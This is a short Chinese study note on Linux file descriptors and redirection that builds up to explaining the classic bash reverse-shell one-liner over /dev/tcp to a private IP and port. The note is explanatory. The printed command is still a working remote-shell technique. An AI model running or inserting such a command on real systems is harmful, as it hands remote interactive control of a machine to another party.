由重定向对反弹shell的一些思考
记得好久以前就看到了一篇关于反弹shell中重定向的理解,感觉最近一看又有些生疏了,恰巧今天又看到了一篇解释这些东西的文章(https://www.k0rz3n.com/2018/08/05/Linux%E5%8F%8D%E5%BC%B9shell%EF%BC%88%E4%B8%80%EF%BC%89%E6%96%87%E4%BB%B6%E6%8F%8F%E8%BF%B0%E7%AC%A6%E4%B8%8E%E9%87%8D%E5%AE%9A%E5%90%91/),就来记录一下理解。
linux重定向的理解
文件描述符:
当Linux启动的时候会默认打开三个文件描述符,分别是:
- 标准输入standard input 0 (默认设备键盘)
- 标准输出standard output 1(默认设备显示器)
- 错误输出:error output 2(默认设备显示器)
输入重定向:
1 | cat 0< file |
将文件描述符0即输入描述符重定向到file,即该次我键盘的输入变成了file,相当于
1 | cat file |
格式: [n]< word (注意[n]与<之间没有空格)
说明:将文件描述符 n 重定向到 word 指代的文件(以只读方式打开),如果n省略就是0(标准输入)
输出重定向:
1 | echo hello 1> file |
将文件描述符1即输出描述符重定向到file,即该次我的输出到了file里面。
格式: [n]> word
说明: 将文件描述符 n 重定向到word 指代的文件(以写的方式打开),如果n 省略则默认就是 1(标准输出)
标准输出与标准错误输出重定向:
格式:
&> word
>& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于 > word 2>&1 (2>&1 是将标准错误输出复制到标准输出,&是为了区分文件1和文件描述符1的,详细的介绍后面会有)
我们发现,无论是错误信息还是正常输出信息都会保存在file1文件里。
文件描述符的复制:
格式: [n]<&[m] / [n]>&[m] (这里所有字符之间不要有空格)
说明:
1)这里两个都是将文件描述符 n 复制到 m ,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开
因此 0<&1 和 0>&1 是完全等价的(读/写方式打开对其没有任何影响)
2)这里的& 目的是为了区分数字名字的文件和文件描述符,如果没有& 系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
1 | cmd 2>&1 >file |
重点!!!!!!!!:
linux反弹shell的理解
我们先来看一条最基本的shell,一点一点来解释这条反弹shell
1 | bash -i >& /dev/tcp/192.168.146.129/2333 0>&1 |
bash -i:-i 这个参数表示的是产生交互式的shell
>&
:这个参数是将bash -i交互中产生的标准输出和错误输出都重定向到/dev/tcp/192.168.146.129/2333里
0>&1:这个参数将标准输入页重定向到标准输出上,由于此前标准输入指向/dev/tcp/192.168.146.129/2333,所以此时0、1、2全部指向/dev/tcp/192.168.146.129/2333
重点!!!!!!!!: